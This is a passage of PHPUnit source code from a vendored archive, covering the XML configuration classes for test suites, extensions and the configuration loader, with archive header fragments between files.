$this->bootstrap */ public function hasBootstrap(): bool { return $this->bootstrap !== null; } /** * @throws Exception */ public function bootstrap(): string { if (!$this->hasBootstrap()) { throw new Exception('Bootstrap script is not configured'); } return (string) $this->bootstrap; } public function processIsolation(): bool { return $this->processIsolation; } public function failOnEmptyTestSuite(): bool { return $this->failOnEmptyTestSuite; } public function failOnIncomplete(): bool { return $this->failOnIncomplete; } public function failOnRisky(): bool { return $this->failOnRisky; } public function failOnSkipped(): bool { return $this->failOnSkipped; } public function failOnWarning(): bool { return $this->failOnWarning; } public function stopOnDefect(): bool { return $this->stopOnDefect; } public function stopOnError(): bool { return $this->stopOnError; } public function stopOnFailure(): bool { return $this->stopOnFailure; } public function stopOnWarning(): bool { return $this->stopOnWarning; } public function stopOnIncomplete(): bool { return $this->stopOnIncomplete; } public function stopOnRisky(): bool { return $this->stopOnRisky; } public function stopOnSkipped(): bool { return $this->stopOnSkipped; } /** * @psalm-assert-if-true !null $this->extensionsDirectory */ public function hasExtensionsDirectory(): bool { return $this->extensionsDirectory !== null; } /** * @throws Exception */ public function extensionsDirectory(): string { if (!$this->hasExtensionsDirectory()) { throw new Exception('Extensions directory is not configured'); } return (string) $this->extensionsDirectory; } /** * @psalm-assert-if-true !null $this->testSuiteLoaderClass * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ public function hasTestSuiteLoaderClass(): bool { return $this->testSuiteLoaderClass !== null; } /** * @throws Exception * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ public function testSuiteLoaderClass(): string { if (!$this->hasTestSuiteLoaderClass()) { throw new Exception('TestSuiteLoader class is not configured'); } return (string) $this->testSuiteLoaderClass; } /** * @psalm-assert-if-true !null $this->testSuiteLoaderFile * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ public function hasTestSuiteLoaderFile(): bool { return $this->testSuiteLoaderFile !== null; } /** * @throws Exception * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ public function testSuiteLoaderFile(): string { if (!$this->hasTestSuiteLoaderFile()) { throw new Exception('TestSuiteLoader sourcecode file is not configured'); } return (string) $this->testSuiteLoaderFile; } /** * @psalm-assert-if-true !null $this->printerClass */ public function hasPrinterClass(): bool { return $this->printerClass !== null; } /** * @throws Exception */ public function printerClass(): string { if (!$this->hasPrinterClass()) { throw new Exception('ResultPrinter class is not configured'); } return (string) $this->printerClass; } /** * @psalm-assert-if-true !null $this->printerFile */ public function hasPrinterFile(): bool { return $this->printerFile !== null; } /** * @throws Exception */ public function printerFile(): string { if (!$this->hasPrinterFile()) { throw new Exception('ResultPrinter sourcecode file is not configured'); } return (string) $this->printerFile; } public function beStrictAboutChangesToGlobalState(): bool { return $this->beStrictAboutChangesToGlobalState; } public function beStrictAboutOutputDuringTests(): bool { return $this->beStrictAboutOutputDuringTests; } public function beStrictAboutResourceUsageDuringSmallTests(): bool { return $this->beStrictAboutResourceUsageDuringSmallTests; } public function beStrictAboutTestsThatDoNotTestAnything(): bool { return $this->beStrictAboutTestsThatDoNotTestAnything; } public function beStrictAboutTodoAnnotatedTests(): bool { return $this->beStrictAboutTodoAnnotatedTests; } public function beStrictAboutCoversAnnotation(): bool { return $this->beStrictAboutCoversAnnotation; } public function enforceTimeLimit(): bool { return $this->enforceTimeLimit; } public function defaultTimeLimit(): int { return $this->defaultTimeLimit; } public function timeoutForSmallTests(): int { return $this->timeoutForSmallTests; } public function timeoutForMediumTests(): int { return $this->timeoutForMediumTests; } public function timeoutForLargeTests(): int { return $this->timeoutForLargeTests; } /** * @psalm-assert-if-true !null $this->defaultTestSuite */ public function hasDefaultTestSuite(): bool { return $this->defaultTestSuite !== null; } /** * @throws Exception */ public function defaultTestSuite(): string { if (!$this->hasDefaultTestSuite()) { throw new Exception('Default test suite is not configured'); } return (string) $this->defaultTestSuite; } public function executionOrder(): int { return $this->executionOrder; } public function resolveDependencies(): bool { return $this->resolveDependencies; } public function defectsFirst(): bool { return $this->defectsFirst; } public function backupGlobals(): bool { return $this->backupGlobals; } public function backupStaticAttributes(): bool { return $this->backupStaticAttributes; } public function registerMockObjectsFromTestArgumentsRecursively(): bool { return $this->registerMockObjectsFromTestArgumentsRecursively; } public function conflictBetweenPrinterClassAndTestdox(): bool { return $this->conflictBetweenPrinterClassAndTestdox; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php000064400000002450147577714370031214 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExtensionCollectionIterator implements Countable, Iterator { /** * @var Extension[] */ private $extensions; /** * @var int */ private $position; public function __construct(ExtensionCollection $extensions) { $this->extensions = $extensions->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->extensions); } public function key(): int { return $this->position; } public function current(): Extension { return $this->extensions[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php000064400000002631147577714370025546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Extension { /** * @var string * @psalm-var class-string */ private $className; /** * @var string */ private $sourceFile; /** * @var array */ private $arguments; /** * @psalm-param class-string $className */ public function __construct(string $className, string $sourceFile, array $arguments) { $this->className = $className; $this->sourceFile = $sourceFile; $this->arguments = $arguments; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } public function hasSourceFile(): bool { return $this->sourceFile !== ''; } public function sourceFile(): string { return $this->sourceFile; } public function hasArguments(): bool { return !empty($this->arguments); } public function arguments(): array { return $this->arguments; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php000064400000002125147577714370027560 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class ExtensionCollection implements IteratorAggregate { /** * @var Extension[] */ private $extensions; /** * @param Extension[] $extensions */ public static function fromArray(array $extensions): self { return new self(...$extensions); } private function __construct(Extension ...$extensions) { $this->extensions = $extensions; } /** * @return Extension[] */ public function asArray(): array { return $this->extensions; } public function getIterator(): ExtensionCollectionIterator { return new ExtensionCollectionIterator($this); } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php000064400000002450147577714370031633 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteCollectionIterator implements Countable, Iterator { /** * @var TestSuite[] */ private $testSuites; /** * @var int */ private $position; public function __construct(TestSuiteCollection $testSuites) { $this->testSuites = $testSuites->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->testSuites); } public function key(): int { return $this->position; } public function current(): TestSuite { return $this->testSuites[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php000064400000002536147577714370026171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestSuite { /** * @var string */ private $name; /** * @var TestDirectoryCollection */ private $directories; /** * @var TestFileCollection */ private $files; /** * @var FileCollection */ private $exclude; public function __construct(string $name, TestDirectoryCollection $directories, TestFileCollection $files, FileCollection $exclude) { $this->name = $name; $this->directories = $directories; $this->files = $files; $this->exclude = $exclude; } public function name(): string { return $this->name; } public function directories(): TestDirectoryCollection { return $this->directories; } public function files(): TestFileCollection { return $this->files; } public function exclude(): FileCollection { return $this->exclude; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php000064400000002460147577714370030201 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestSuiteCollection implements Countable, IteratorAggregate { /** * @var TestSuite[] */ private $testSuites; /** * @param TestSuite[] $testSuites */ public static function fromArray(array $testSuites): self { return new self(...$testSuites); } private function __construct(TestSuite ...$testSuites) { $this->testSuites = $testSuites; } /** * @return TestSuite[] */ public function asArray(): array { return $this->testSuites; } public function count(): int { return count($this->testSuites); } public function getIterator(): TestSuiteCollectionIterator { return new TestSuiteCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php000064400000002476147577714370032516 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestDirectoryCollectionIterator implements Countable, Iterator { /** * @var TestDirectory[] */ private $directories; /** * @var int */ private $position; public function __construct(TestDirectoryCollection $directories) { $this->directories = $directories->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->directories); } public function key(): int { return $this->position; } public function current(): TestDirectory { return $this->directories[$this->position]; } public function next(): void { $this->position++; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php000064400000002406147577714370031422 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFileCollectionIterator implements Countable, Iterator { /** * @var TestFile[] */ private $files; /** * @var int */ private $position; public function __construct(TestFileCollection $files) { $this->files = $files->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->files); } public function key(): int { return $this->position; } public function current(): TestFile { return $this->files[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php000064400000002341147577714370025751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Util\VersionComparisonOperator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestFile { /** * @var string */ private $path; /** * @var string */ private $phpVersion; /** * @var VersionComparisonOperator */ private $phpVersionOperator; public function __construct(string $path, string $phpVersion, VersionComparisonOperator $phpVersionOperator) { $this->path = $path; $this->phpVersion = $phpVersion; $this->phpVersionOperator = $phpVersionOperator; } public function path(): string { return $this->path; } public function phpVersion(): string { return $this->phpVersion; } public function phpVersionOperator(): VersionComparisonOperator { return $this->phpVersionOperator; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php000064400000002374147577714370027773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestFileCollection implements Countable, IteratorAggregate { /** * @var TestFile[] */ private $files; /** * @param TestFile[] $files */ public static function fromArray(array $files): self { return new self(...$files); } private function __construct(TestFile ...$files) { $this->files = $files; } /** * @return TestFile[] */ public function asArray(): array { return $this->files; } public function count(): int { return count($this->files); } public function getIterator(): TestFileCollectionIterator { return new TestFileCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php000064400000002525147577714370030777 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestDirectoryCollection implements Countable, IteratorAggregate { /** * @var TestDirectory[] */ private $directories; /** * @param TestDirectory[] $directories */ public static function fromArray(array $directories): self { return new self(...$directories); } private function __construct(TestDirectory ...$directories) { $this->directories = $directories; } /** * @return TestDirectory[] */ public function asArray(): array { return $this->directories; } public function count(): int { return count($this->directories); } public function getIterator(): TestDirectoryCollectionIterator { return new TestDirectoryCollectionIterator($this); } public function isEmpty(): bool { return $this->count() === 0; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php000064400000003162147577714370027040 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Util\VersionComparisonOperator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class TestDirectory { /** * @var string */ private $path; /** * @var string */ private $prefix; /** * @var string */ private $suffix; /** * @var string */ private $phpVersion; /** * @var VersionComparisonOperator */ private $phpVersionOperator; public function __construct(string $path, string $prefix, string $suffix, string $phpVersion, VersionComparisonOperator $phpVersionOperator) { $this->path = $path; $this->prefix = $prefix; $this->suffix = $suffix; $this->phpVersion = $phpVersion; $this->phpVersionOperator = $phpVersionOperator; } public function path(): string { return $this->path; } public function prefix(): string { return $this->prefix; } public function suffix(): string { return $this->suffix; } public function phpVersion(): string { return $this->phpVersion; } public function phpVersionOperator(): VersionComparisonOperator { return $this->phpVersionOperator; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php000064400000006272147577714370025117 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; use PHPUnit\Util\Xml\ValidationResult; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Configuration { /** * @var string */ private $filename; /** * @var ValidationResult */ private $validationResult; /** * @var ExtensionCollection */ private $extensions; /** * @var CodeCoverage */ private $codeCoverage; /** * @var Groups */ private $groups; /** * @var Groups */ private $testdoxGroups; /** * @var ExtensionCollection */ private $listeners; /** * @var Logging */ private $logging; /** * @var Php */ private $php; /** * @var PHPUnit */ private $phpunit; /** * @var TestSuiteCollection */ private $testSuite; public function __construct(string $filename, ValidationResult $validationResult, ExtensionCollection $extensions, CodeCoverage $codeCoverage, Groups $groups, Groups $testdoxGroups, ExtensionCollection $listeners, Logging $logging, Php $php, PHPUnit $phpunit, TestSuiteCollection $testSuite) { $this->filename = $filename; $this->validationResult = $validationResult; $this->extensions = $extensions; $this->codeCoverage = $codeCoverage; $this->groups = $groups; $this->testdoxGroups = $testdoxGroups; $this->listeners = $listeners; $this->logging = $logging; $this->php = $php; $this->phpunit = $phpunit; $this->testSuite = $testSuite; } public function filename(): string { return $this->filename; } public function hasValidationErrors(): bool { return $this->validationResult->hasValidationErrors(); } public function validationErrors(): string { return $this->validationResult->asString(); } public function extensions(): ExtensionCollection { return $this->extensions; } public function codeCoverage(): CodeCoverage { return $this->codeCoverage; } public function groups(): Groups { return $this->groups; } public function testdoxGroups(): Groups { return $this->testdoxGroups; } public function listeners(): ExtensionCollection { return $this->listeners; } public function logging(): Logging { return $this->logging; } public function php(): Php { return $this->php; } public function phpunit(): PHPUnit { return $this->phpunit; } public function testSuite(): TestSuiteCollection { return $this->testSuite; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php000064400000000762147577714370024244 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php000064400000004251147577714370024231 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function str_replace; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Generator { /** * @var string */ private const TEMPLATE = <<<'EOT' {tests_directory} {src_directory} EOT; public function generateDefaultConfiguration(string $phpunitVersion, string $bootstrapScript, string $testsDirectory, string $srcDirectory, string $cacheDirectory): string { return str_replace( [ '{phpunit_version}', '{bootstrap_script}', '{tests_directory}', '{src_directory}', '{cache_directory}', ], [ $phpunitVersion, $bootstrapScript, $testsDirectory, $srcDirectory, $cacheDirectory, ], self::TEMPLATE ); } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php000064400000122376147577714370023522 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use const DIRECTORY_SEPARATOR; use const PHP_VERSION; use function assert; use function defined; use function dirname; use function explode; use function is_file; use function is_numeric; use function preg_match; use function stream_resolve_include_path; use function strlen; use function strpos; use function strtolower; use function substr; use function trim; use DOMDocument; use DOMElement; use DOMNodeList; use DOMXPath; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\Runner\Version; use PHPUnit\TextUI\DefaultResultPrinter; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\Directory as FilterDirectory; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\DirectoryCollection as FilterDirectoryCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html as CodeCoverageHtml; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php as CodeCoveragePhp; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text as CodeCoverageText; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml as CodeCoverageXml; use PHPUnit\TextUI\XmlConfiguration\Logging\Junit; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; use PHPUnit\TextUI\XmlConfiguration\Logging\TeamCity; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Xml as TestDoxXml; use PHPUnit\TextUI\XmlConfiguration\Logging\Text; use PHPUnit\TextUI\XmlConfiguration\TestSuite as TestSuiteConfiguration; use PHPUnit\Util\TestDox\CliTestDoxPrinter; use PHPUnit\Util\VersionComparisonOperator; use PHPUnit\Util\Xml; use PHPUnit\Util\Xml\Exception as XmlException; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\SchemaFinder; use PHPUnit\Util\Xml\Validator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Loader { /** * @throws Exception */ public function load(string $filename): Configuration { try { $document = (new XmlLoader)->loadFile($filename, false, true, true); } catch (XmlException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } $xpath = new DOMXPath($document); try { $xsdFilename = (new SchemaFinder)->find(Version::series()); } catch (XmlException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } return new Configuration( $filename, (new Validator)->validate($document, $xsdFilename), $this->extensions($filename, $xpath), $this->codeCoverage($filename, $xpath, $document), $this->groups($xpath), $this->testdoxGroups($xpath), $this->listeners($filename, $xpath), $this->logging($filename, $xpath), $this->php($filename, $xpath), $this->phpunit($filename, $document), $this->testSuite($filename, $xpath) ); } public function logging(string $filename, DOMXPath $xpath): Logging { if ($xpath->query('logging/log')->length !== 0) { return $this->legacyLogging($filename, $xpath); } $junit = null; $element = $this->element($xpath, 'logging/junit'); if ($element) { $junit = new Junit( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $text = null; $element = $this->element($xpath, 'logging/text'); if ($element) { $text = new Text( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $teamCity = null; $element = $this->element($xpath, 'logging/teamcity'); if ($element) { $teamCity = new TeamCity( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $testDoxHtml = null; $element = $this->element($xpath, 'logging/testdoxHtml'); if ($element) { $testDoxHtml = new TestDoxHtml( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $testDoxText = null; $element = $this->element($xpath, 'logging/testdoxText'); if ($element) { $testDoxText = new TestDoxText( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $testDoxXml = null; $element = $this->element($xpath, 'logging/testdoxXml'); if ($element) { $testDoxXml = new TestDoxXml( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } return new Logging( $junit, $text, $teamCity, $testDoxHtml, $testDoxText, $testDoxXml ); } public function legacyLogging(string $filename, DOMXPath $xpath): Logging { $junit = null; $teamCity = null; $testDoxHtml = null; $testDoxText = null; $testDoxXml = null; $text = null; foreach ($xpath->query('logging/log') as $log) { assert($log instanceof DOMElement); $type = (string) $log->getAttribute('type'); $target = (string) $log->getAttribute('target'); if (!$target) { continue; } $target = $this->toAbsolutePath($filename, $target); switch ($type) { case 'plain': $text = new Text( new File($target) ); break; case 'junit': $junit = new Junit( new File($target) ); break; case 'teamcity': $teamCity = new TeamCity( new File($target) ); break; case 'testdox-html': $testDoxHtml = new TestDoxHtml( new File($target) ); break; case 'testdox-text': $testDoxText = new TestDoxText( new File($target) ); break; case 'testdox-xml': $testDoxXml = new TestDoxXml( new File($target) ); break; } } return new Logging( $junit, $text, $teamCity, $testDoxHtml, $testDoxText, $testDoxXml ); } private function extensions(string $filename, DOMXPath $xpath): ExtensionCollection { $extensions = []; foreach ($xpath->query('extensions/extension') as $extension) { assert($extension instanceof DOMElement); $extensions[] = $this->getElementConfigurationParameters($filename, $extension); } return ExtensionCollection::fromArray($extensions); } private function getElementConfigurationParameters(string $filename, DOMElement $element): Extension { /** @psalm-var class-string $class */ $class = (string) $element->getAttribute('class'); $file = ''; $arguments = $this->getConfigurationArguments($filename, $element->childNodes); if ($element->getAttribute('file')) { $file = $this->toAbsolutePath( $filename, (string) $element->getAttribute('file'), true ); } return new Extension($class, $file, $arguments); } private function toAbsolutePath(string $filename, string $path, bool $useIncludePath = false): string { $path = trim($path); if (strpos($path, '/') === 0) { return $path; } // Matches the following on Windows: // - \\NetworkComputer\Path // - \\.\D: // - \\.\c: // - C:\Windows // - C:\windows // - C:/windows // - c:/windows if (defined('PHP_WINDOWS_VERSION_BUILD') && ($path[0] === '\\' || (strlen($path) >= 3 && preg_match('#^[A-Z]\:[/\\\]#i', substr($path, 0, 3))))) { return $path; } if (strpos($path, '://') !== false) { return $path; } $file = dirname($filename) . DIRECTORY_SEPARATOR . $path; if ($useIncludePath && !is_file($file)) { $includePathFile = stream_resolve_include_path($path); if ($includePathFile) { $file = $includePathFile; } } return $file; } private function getConfigurationArguments(string $filename, DOMNodeList $nodes): array { $arguments = []; if ($nodes->length === 0) { return $arguments; } foreach ($nodes as $node) { if (!$node instanceof DOMElement) { continue; } if ($node->tagName !== 'arguments') { continue; } foreach ($node->childNodes as $argument) { if (!$argument instanceof DOMElement) { continue; } if ($argument->tagName === 'file' || $argument->tagName === 'directory') { $arguments[] = $this->toAbsolutePath($filename, (string) $argument->textContent); } else { $arguments[] = Xml::xmlToVariable($argument); } } } return $arguments; } private function codeCoverage(string $filename, DOMXPath $xpath, DOMDocument $document): CodeCoverage { if ($xpath->query('filter/whitelist')->length !== 0) { return $this->legacyCodeCoverage($filename, $xpath, $document); } $cacheDirectory = null; $pathCoverage = false; $includeUncoveredFiles = true; $processUncoveredFiles = false; $ignoreDeprecatedCodeUnits = false; $disableCodeCoverageIgnore = false; $element = $this->element($xpath, 'coverage'); if ($element) { $cacheDirectory = $this->getStringAttribute($element, 'cacheDirectory'); if ($cacheDirectory !== null) { $cacheDirectory = new Directory( $this->toAbsolutePath($filename, $cacheDirectory) ); } $pathCoverage = $this->getBooleanAttribute( $element, 'pathCoverage', false ); $includeUncoveredFiles = $this->getBooleanAttribute( $element, 'includeUncoveredFiles', true ); $processUncoveredFiles = $this->getBooleanAttribute( $element, 'processUncoveredFiles', false ); $ignoreDeprecatedCodeUnits = $this->getBooleanAttribute( $element, 'ignoreDeprecatedCodeUnits', false ); $disableCodeCoverageIgnore = $this->getBooleanAttribute( $element, 'disableCodeCoverageIgnore', false ); } $clover = null; $element = $this->element($xpath, 'coverage/report/clover'); if ($element) { $clover = new Clover( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $cobertura = null; $element = $this->element($xpath, 'coverage/report/cobertura'); if ($element) { $cobertura = new Cobertura( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $crap4j = null; $element = $this->element($xpath, 'coverage/report/crap4j'); if ($element) { $crap4j = new Crap4j( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ), $this->getIntegerAttribute($element, 'threshold', 30) ); } $html = null; $element = $this->element($xpath, 'coverage/report/html'); if ($element) { $html = new CodeCoverageHtml( new Directory( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputDirectory') ) ), $this->getIntegerAttribute($element, 'lowUpperBound', 50), $this->getIntegerAttribute($element, 'highLowerBound', 90) ); } $php = null; $element = $this->element($xpath, 'coverage/report/php'); if ($element) { $php = new CodeCoveragePhp( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ) ); } $text = null; $element = $this->element($xpath, 'coverage/report/text'); if ($element) { $text = new CodeCoverageText( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile') ) ), $this->getBooleanAttribute($element, 'showUncoveredFiles', false), $this->getBooleanAttribute($element, 'showOnlySummary', false) ); } $xml = null; $element = $this->element($xpath, 'coverage/report/xml'); if ($element) { $xml = new CodeCoverageXml( new Directory( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputDirectory') ) ) ); } return new CodeCoverage( $cacheDirectory, $this->readFilterDirectories($filename, $xpath, 'coverage/include/directory'), $this->readFilterFiles($filename, $xpath, 'coverage/include/file'), $this->readFilterDirectories($filename, $xpath, 'coverage/exclude/directory'), $this->readFilterFiles($filename, $xpath, 'coverage/exclude/file'), $pathCoverage, $includeUncoveredFiles, $processUncoveredFiles, $ignoreDeprecatedCodeUnits, $disableCodeCoverageIgnore, $clover, $cobertura, $crap4j, $html, $php, $text, $xml ); } /** * @deprecated */ private function legacyCodeCoverage(string $filename, DOMXPath $xpath, DOMDocument $document): CodeCoverage { $ignoreDeprecatedCodeUnits = $this->getBooleanAttribute( $document->documentElement, 'ignoreDeprecatedCodeUnitsFromCodeCoverage', false ); $disableCodeCoverageIgnore = $this->getBooleanAttribute( $document->documentElement, 'disableCodeCoverageIgnore', false ); $includeUncoveredFiles = true; $processUncoveredFiles = false; $element = $this->element($xpath, 'filter/whitelist'); if ($element) { if ($element->hasAttribute('addUncoveredFilesFromWhitelist')) { $includeUncoveredFiles = (bool) $this->getBoolean( (string) $element->getAttribute('addUncoveredFilesFromWhitelist'), true ); } if ($element->hasAttribute('processUncoveredFilesFromWhitelist')) { $processUncoveredFiles = (bool) $this->getBoolean( (string) $element->getAttribute('processUncoveredFilesFromWhitelist'), false ); } } $clover = null; $cobertura = null; $crap4j = null; $html = null; $php = null; $text = null; $xml = null; foreach ($xpath->query('logging/log') as $log) { assert($log instanceof DOMElement); $type = (string) $log->getAttribute('type'); $target = (string) $log->getAttribute('target'); if (!$target) { continue; } $target = $this->toAbsolutePath($filename, $target); switch ($type) { case 'coverage-clover': $clover = new Clover( new File($target) ); break; case 'coverage-cobertura': $cobertura = new Cobertura( new File($target) ); break; case 'coverage-crap4j': $crap4j = new Crap4j( new File($target), $this->getIntegerAttribute($log, 'threshold', 30) ); break; case 'coverage-html': $html = new CodeCoverageHtml( new Directory($target), $this->getIntegerAttribute($log, 'lowUpperBound', 50), $this->getIntegerAttribute($log, 'highLowerBound', 90) ); break; case 'coverage-php': $php = new CodeCoveragePhp( new File($target) ); break; case 'coverage-text': $text = new CodeCoverageText( new File($target), $this->getBooleanAttribute($log, 'showUncoveredFiles', false), $this->getBooleanAttribute($log, 'showOnlySummary', false) ); break; case 'coverage-xml': $xml = new CodeCoverageXml( new Directory($target) ); break; } } return new CodeCoverage( null, $this->readFilterDirectories($filename, $xpath, 'filter/whitelist/directory'), $this->readFilterFiles($filename, $xpath, 'filter/whitelist/file'), $this->readFilterDirectories($filename, $xpath, 'filter/whitelist/exclude/directory'), $this->readFilterFiles($filename, $xpath, 'filter/whitelist/exclude/file'), false, 